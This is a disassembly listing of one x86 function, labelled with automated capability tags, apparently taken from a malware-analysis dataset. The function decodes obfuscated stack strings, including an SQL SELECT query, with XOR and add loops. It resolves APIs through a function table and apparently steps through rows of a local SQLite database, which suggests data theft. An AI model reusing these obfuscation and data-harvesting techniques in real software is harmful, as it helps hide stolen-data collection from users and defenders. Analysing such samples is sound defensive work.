Function at 0x4187c9
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x118
mov al, byte [0x42ba04]
push ebp
push esi
add al, 0x21
mov dword [esp + 0x78], ecx
push edi
mov edi, edx
mov byte [0x42ba00], al
call fcn.00420053
movzx esi, byte [0x42b9d6]
mov ebp, eax
mov cl, byte [0x42ba1a]
mov eax, 0xb3f4
xor si, ax
add cl, 0x48
mov word [0x42ba04], si
mov byte [0x42ba00], cl
test ebp, ebp
je 0x418edc
push ebx
xor ebx, ebx
mov dword [esp + 0x10], 0x2708175e
mov dword [esp + 0x14], 0x1609141d
mov edx, ebx
mov dword [esp + 0x18], 0xf081213
mov dword [esp + 0x1c], 0x55020914
mov dword [esp + 0x20], 0x12170a08
mov word [esp + 0x24], 0x1e0f
mov al, byte [esp + edx + 0x10]
xor al, 0x7b
movzx eax, al
mov word [esp + edx*2 + 0xf8], ax
inc edx
cmp edx, 0x16
jl 0x41884c
xor eax, eax
mov word [esp + 0x124], ax
lea eax, [ecx + 0x60]
mov byte [0x42ba1a], al
add cl, 0x66
lea eax, [esp + 0xf8]
mov byte [0x42b9d6], cl
push edi
push eax
call fcn.00422def
mov dl, byte [0x42ba1a]
mov edi, eax
pop ecx
pop ecx
movzx ecx, dl
mov eax, 0x1c43
sub cx, ax
mov dword [esp + 0x74], edi
and dl, 0xa7
mov word [0x42b9c8], cx
mov byte [0x42ba00], dl
test edi, edi
je 0x418edb
mov cl, byte [0x42b9d6]
or dl, 3
or cl, 0xc9
mov byte [0x42ba1f], dl
mov byte [0x42b9d6], cl
lea eax, [ecx - 0x21]
mov byte [0x42ba00], al
movzx eax, cl
mov ecx, edi
add ax, 0x7e
mov word [0x42b9c8], ax
call fcn.00422f59
mov dl, byte [0x42ba00]
mov esi, eax
movzx ecx, dl
imul ecx, ecx, 0x89
mov dword [esp + 0x84], esi
mov byte [0x42b9d6], cl
xor cl, 0xb8
mov byte [0x42ba1f], cl
test esi, esi
je 0x418eb7
sub dl, 0x42
mov eax, 0xf675
or ax, word [0x42b9c8]
mov ecx, esi
mov byte [0x42b9d6], dl
or dl, 0x5b
mov byte [0x42ba00], dl
xor edx, edx
mov word [0x42ba04], ax
call fcn.00423747
mov cl, byte [0x42ba00]
add cl, 0x21
mov dword [esp + 0x7c], eax
mov dl, cl
mov byte [0x42ba00], cl
and dl, 0xed
mov byte [0x42ba1a], dl
test eax, eax
je 0x418e65
movzx ecx, cl
mov eax, 0x171f
imul ecx, eax
mov eax, 0xad3a
push ebx
push 1
and cx, ax
movzx eax, dl
mov word [0x42ba04], cx
mov ecx, 0x265b
add ax, cx
mov word [0x42b9c8], ax
or al, 0xa8
mov byte [0x42b9d6], al
lea eax, [esp + 0x80]
push eax
push dword [esp + 0x88]
call dword [ebp + 4]
add esp, 0x10
test eax, eax
jne 0x418e06
mov dword [esp + 0x10], 0xc7cec7d5
mov ecx, ebx
mov dword [esp + 0x14], 0xe8a2d6c5
mov dword [esp + 0x18], 0xe6eee7eb
mov dword [esp + 0x1c], 0xe7efe3f0
mov dword [esp + 0x20], 0xe3f8a2ae
mov dword [esp + 0x24], 0xa2e7f7ee
mov dword [esp + 0x28], 0xcfd1d4c8
mov dword [esp + 0x2c], 0xfcf1efa2
mov dword [esp + 0x30], 0xf4f1e8e1
mov dword [esp + 0x34], 0xf5ebeaef
mov dword [esp + 0x38], 0xfbf4f1f6
mov al, byte [esp + ecx + 0x10]
add al, 0x7e
mov byte [esp + ecx + 0xc8], al
inc ecx
cmp ecx, 0x2c
jl 0x418a1f
mov al, byte [0x42ba1f]
mov edx, 0x2cfc
movzx ecx, byte [0x42ba00]
or al, 0x94
mov byte [0x42ba1a], al
xor cx, dx
or al, 0x9e
mov word [0x42b9c8], cx
mov byte [0x42b9d6], al
or ecx, 0xad51
push ebx
lea eax, [esp + 0x40]
mov byte [esp + 0xf8], bl
push eax
push 0xffffffffffffffff
lea eax, [esp + 0xd4]
mov word [0x42ba04], cx
push eax
push dword [esp + 0x88]
call dword [ebp + 8]
add esp, 0x14
test eax, eax
jne 0x418ddd
mov al, byte [0x42ba04]
lea edi, [esp + 0x68]
push dword [esp + 0x3c]
and al, 0x7c
movzx ecx, al
mov eax, 0x1b40
add cx, ax
xor eax, eax
stosd dword es:[edi], eax
mov word [0x42ba04], cx
xor cl, 0xd1
mov byte [0x42ba00], cl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov al, byte [0x42b9c8]
xor al, 0x8b
mov byte [0x42ba1f], al
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
jne 0x418c7b
mov dword [esp + 0x40], 0x8fce9
mov word [esp + 0x44], 0xbbd5
mov dword [esp + 0x48], 0x958a3e41
mov dword [esp + 0x4c], 0x6e99a9a0
mov byte [esp + 0x50], 0x54
mov ecx, ebx
mov al, byte [esp + ecx + 0x40]
add al, 0x65
mov byte [esp + ecx + 0x88], al
inc ecx
cmp ecx, 6
jl 0x418b02
mov byte [esp + 0x8e], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x48]
sub al, 0x34
mov byte [esp + ecx + 0x90], al
inc ecx
cmp ecx, 9
jl 0x418b1e
mov byte [esp + 0x99], bl
mov ecx, ebx
mov dword [esp + 0x54], 0xd9d9eee9
mov dword [esp + 0x58], 0xd9d9d9d9
mov dword [esp + 0x5c], 0xd9d9d9d9
mov dword [esp + 0x60], 0xd9d9d9d9
mov word [esp + 0x64], 0xe9d9
mov byte [esp + 0x66], 0xee
mov al, byte [esp + ecx + 0x54]
xor al, 0xe4
mov byte [esp + ecx + 0x10], al
inc ecx
cmp ecx, 0x13
jl 0x418b66
mov al, byte [0x42ba1f]
lea edx, [esp + 0x88]
sub al, 0x2b
mov byte [esp + 0x23], bl
mov byte [0x42b9d6], al
mov ecx, 0x55c8
add al, 0x68
mov byte [0x42ba1a], al
mov al, byte [0x42ba00]
and al, 0x20
mov byte [0x42ba1f], al
mov ax, word [0x42b9c8]
and ax, cx
lea ecx, [esp + 0x68]
push 0xffffffffffffffff
mov word [0x42ba04], ax
call fcn.004236a5
push ebx
push dword [esp + 0x44]
mov eax, 0x9323
xor word [0x42ba04], ax
call dword [ebp + 0x20]
add esp, 0xc
push eax
push ebx
push dword [esp + 0x44]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x6c]
call fcn.004236a5
mov eax, 0xa946
lea edx, [esp + 0x94]
or ax, word [0x42b9c8]
lea ecx, [esp + 0x6c]
push 0xffffffffffffffff
mov word [0x42ba04], ax
call fcn.004236a5
mov al, byte [0x42ba04]
xor byte [0x42ba00], 0x44
add al, 0x34
push 1
push dword [esp + 0x48]
mov byte [0x42ba1a], al
call dword [ebp + 0x20]
add esp, 0x10
push eax
push 1
push dword [esp + 0x44]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x6c]
call fcn.004236a5
mov al, byte [0x42ba04]
lea edx, [esp + 0x14]
or al, 0xfd
lea ecx, [esp + 0x6c]
mov byte [0x42ba00], al
add al, 0x69
push 0xffffffffffffffff
mov byte [0x42ba1a], al
call fcn.004236a5
push dword [esp + 0x44]
call dword [ebp + 0xc]
add esp, 0xc
cmp eax, 0x64
je 0x418b00
mov al, byte [0x42ba00]
or al, 8
mov byte [0x42b9d6], al
cmp dword [esp + 0x68], ebx
je 0x418dd9
mov dword [esp + 0x10], 0x4a4f501c
mov dword [esp + 0x14], 0x47474441
mov dword [esp + 0x18], 0x47000a4e
mov dword [esp + 0x1c], 0x47003a4e
mov dword [esp + 0x20], 0x534f094e
mov byte [esp + 0x24], 0x4f
movzx eax, byte [esp + ebx + 0x10]
mov ecx, 0xff
add ax, 0x25
and ax, cx
mov word [esp + ebx*2 + 0x9c], ax
inc ebx
cmp ebx, 0x15
jl 0x418cbe
push dword [esp + 0x12c]
xor eax, eax
push dword [esp + 0x84]
mov word [esp + 0xce], ax
mov al, byte [0x42ba1f]
and al, 0x3d
movzx eax, al
imul eax, eax, 0xc2
mov byte [0x42ba00], al
mov al, byte [0x42ba04]
or al, 0xd1
mov byte [0x42b9d6], al
lea eax, [esp + 0xa4]
push eax
call fcn.00422def
mov esi, eax
add esp, 0xc
test esi, esi
je 0x418d90
mov cl, byte [0x42b9d6]
movzx eax, byte [0x42ba00]
push esi
lea edx, [ecx - 0x3b]
sub cl, 0x53
mov byte [0x42ba1a], dl
and dl, 0x2e
mov byte [0x42ba1f], cl
mov ecx, 0xe1ba
or ax, cx
mov byte [0x42b9d6], dl
mov edx, dword [esp + 0x74]
mov ecx, dword [esp + 0x6c]
mov word [0x42ba04], ax
call fcn.0041e192
mov al, byte [0x42b9c8]
xor al, 0x2c
mov byte [0x42ba00], al
mov al, byte [0x42b9d6]
and al, 0x3f
push esi
mov byte [0x42ba1f], al
call fcn.004056f0
pop ecx
pop ecx
mov cx, word [0x42b9c8]
mov eax, 0x1e16
push dword [esp + 0x68]
add ax, cx
mov word [0x42ba04], ax
movzx eax, cl
mov ecx, 0x75ff
imul eax, eax, 0xa2
mov byte [0x42ba1f], al
movzx eax, byte [0x42b9d6]
sub ax, cx
mov word [0x42b9c8], ax
call fcn.004056f0
mov esi, dword [esp + 0x88]
pop ecx
mov edi, dword [esp + 0x74]
movzx eax, byte [0x42ba1a]
mov ecx, 0x6098
push dword [esp + 0x3c]
sub ax, cx
mov word [0x42ba04], ax
mov al, byte [0x42ba1f]
sub al, 0x22
mov byte [0x42ba00], al
call dword [ebp + 0x18]
pop ecx
movzx eax, byte [0x42ba00]
push dword [esp + 0x78]
imul eax, eax, 0x74
mov byte [0x42b9d6], al
call dword [ebp + 0x1c]
mov ax, word [0x42b9c8]
mov ecx, 0x25bb
push dword [esp + 0x80]
sub ax, cx
mov ecx, 0xd9e4
mov word [0x42ba04], ax
mov al, byte [0x42ba1a]
sub al, 0x78
mov byte [0x42ba1f], al
movzx eax, byte [0x42ba00]
xor ax, cx
mov word [0x42b9c8], ax
call fcn.004056f0
mov dl, byte [0x42ba1a]
pop ecx
pop ecx
movzx eax, byte [0x42b9d6]
mov ecx, 0x1a7e
xor ax, cx
xor ecx, ecx
mov word [0x42b9c8], ax
inc ecx
movzx eax, dl
mov edx, 0x7212
or ax, dx
mov edx, 0x62d87b
push esi
mov word [0x42ba04], ax
call fcn.00415084
call eax
movzx eax, byte [0x42ba1a]
mov ecx, 0x1c2e
sub ax, cx
push esi
mov word [0x42b9c8], ax
call fcn.004056f0
pop ecx
mov al, byte [0x42ba1a]
mov ecx, 0xbd81
or al, 0x6a
mov byte [0x42ba1f], al
movzx eax, al
xor ax, cx
push edi
mov word [0x42b9c8], ax
call fcn.004056f0
pop ecx
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x118
ret